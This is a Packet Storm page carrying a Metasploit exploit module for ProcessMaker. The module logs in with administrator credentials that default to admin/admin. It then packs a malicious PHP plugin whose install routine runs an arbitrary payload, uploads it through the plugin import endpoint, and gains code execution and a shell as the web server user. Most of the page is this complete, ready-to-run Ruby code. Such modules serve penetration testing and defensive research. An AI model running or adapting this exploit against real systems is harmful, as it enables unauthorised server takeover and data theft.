Twenty Year Anniversary

ProcessMaker Plugin Code Execution

ProcessMaker Plugin Code Execution
Posted Apr 3, 2018
Authored by Brendan Coles | Site metasploit.com

This Metasploit module will generate and upload a plugin to ProcessMaker resulting in execution of PHP code as the web server user. Credentials for a valid user account with Administrator roles is required to run this module. This Metasploit module has been tested successfully on ProcessMaker versions 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1; and version 3.2.0 on Debian Linux 8.

tags | exploit, web, php
systems | linux, windows, debian, 7
MD5 | 62ca13841303372ebfe7885ec8e1b271

ProcessMaker Plugin Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ProcessMaker Plugin Upload',
'Description' => %q{
This module will generate and upload a plugin to ProcessMaker
resulting in execution of PHP code as the web server user.

Credentials for a valid user account with Administrator roles
is required to run this module.

This module has been tested successfully on ProcessMaker versions
1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
and version 3.2.0 on Debian Linux 8.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
],
'Payload' => { 'Space' => 20000 },
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic Targeting', {} ]],
'Privileged' => false,
'DisclosureDate' => 'Aug 25 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
])
end

def login(user, pass)
vars_post = Hash[{
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')
}.to_a.shuffle]

print_status "Authenticating as user '#{user}'"
uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"
res = send_request_cgi 'method' => 'POST',
'uri' => uri,
'cookie' => @cookie,
'vars_post' => vars_post

if !res
fail_with Failure::Unreachable, 'Connection failed'
elsif res.code == 200 && res.body =~ /Loading styles and images/
# ProcessMaker 2.x and 3.x
print_good "#{peer} Authenticated as user '#{user}'"
elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/
# ProcessMaker 1.x
print_good "#{peer} Authenticated as user '#{user}'"
else
fail_with Failure::NoAccess, "#{peer} - Authentication failed"
end
end

def upload_plugin plugin_name
data = generate_plugin plugin_name

print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"

# ProcessMaker 1.x requires "-" after the plugin name in the file name
fname = "#{plugin_name}-.tar"

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"
post_data << "\r\n\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"
post_data << "\r\n[]\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"
post_data << "Content-Type: application/x-tar\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'cookie' => @cookie,
'data' => post_data
}, 5)

# Installation spawns a shell, preventing a HTTP response.
# If a response is received, something probably went wrong.
if res
if res.headers['location'] =~ /login/
fail_with Failure::NoAccess, 'Administrator privileges are required'
else
print_warning "#{peer} Unexpected reply"
end
end
end

def delete_plugin(plugin_name)
uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => @cookie,
'vars_post' => { 'pluginUid' => plugin_name }
}, 5)
end

def generate_plugin(plugin_name)
plugin_class = %Q|<?php
class #{plugin_name}Class extends PMPlugin {
function __construct() {
set_include_path(
PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .
get_include_path()
);
}
}
|

plugin_php = %Q|<?php
G::LoadClass("plugin");

class #{plugin_name}Plugin extends PMPlugin
{
public function #{plugin_name}Plugin($sNamespace, $sFilename = null)
{
$res = parent::PMPlugin($sNamespace, $sFilename);
$this->sFriendlyName = "#{plugin_name}";
$this->sDescription = "#{plugin_name}";
$this->sPluginFolder = "#{plugin_name}";
$this->sSetupPage = "setup";
$this->iVersion = 1;
$this->aWorkspaces = null;
return $res;
}
public function setup() {}
public function install() { #{payload.encoded} }
public function enable() {}
public function disable() {}
}

$oPluginRegistry =& PMPluginRegistry::getSingleton();
$oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);
|

tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "#{plugin_name}.php", 0777 do |io|
io.write plugin_php
end
tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
io.write plugin_class
end
end
tarfile.rewind
tarfile.read
end

def cleanup
delete_plugin @plugin_name
end

def exploit
@workspace = datastore['WORKSPACE']

@cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"
login datastore['USERNAME'], datastore['PASSWORD']

@plugin_name = rand_text_alpha rand(10) + 10
upload_dir = "../../shared/sites/#{@workspace}/files/input/"
register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"
register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"

upload_plugin @plugin_name
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close